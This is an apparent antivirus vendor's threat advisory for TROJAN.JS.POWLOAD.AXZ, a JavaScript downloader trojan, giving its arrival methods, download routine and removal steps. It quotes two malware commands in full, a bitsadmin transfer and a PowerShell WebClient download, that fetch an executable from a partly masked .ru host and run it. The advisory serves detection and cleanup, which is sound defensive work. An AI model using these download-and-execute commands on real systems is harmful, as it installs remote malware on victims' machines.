TROJAN.JS.POWLOAD.AXZ
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Spammed via email, Dropped by other malware, Downloaded from the Internet
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
1,328 bytes
JS
No
08 Jan 2019
Connects to URLs/IPs, Downloads files, Executes files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}hojifdij.ru/krablin.exe
It saves the files it downloads using the following names:
- %User Temp%\594938335003.exe
- %User Temp%\38495958389.exe
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan does the following:
- Executes the following commands:
- cmd.exe /c bitsadmin.exe /transfer getitman /download /priority high http://{BLOCKED}hojifdij.ru/krablin.exe %temp%\\594938335003.exe&start %temp%\\594938335003.exe"
- PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}hojifdij.ru/krablin.exe','%temp%\\38495958389.exe');Start-Process '%temp%\\38495958389.exe'
SOLUTION
9.850
14.754.05
16 Jan 2019
14.755.00
17 Jan 2019
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Identify and terminate files detected as TROJAN.JS.POWLOAD.AXZ
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 4
Search and delete these files
- %User Temp%\594938335003.exe
- %User Temp%\38495958389.exe
Step 5
Scan your computer with your Trend Micro product to delete files detected as TROJAN.JS.POWLOAD.AXZ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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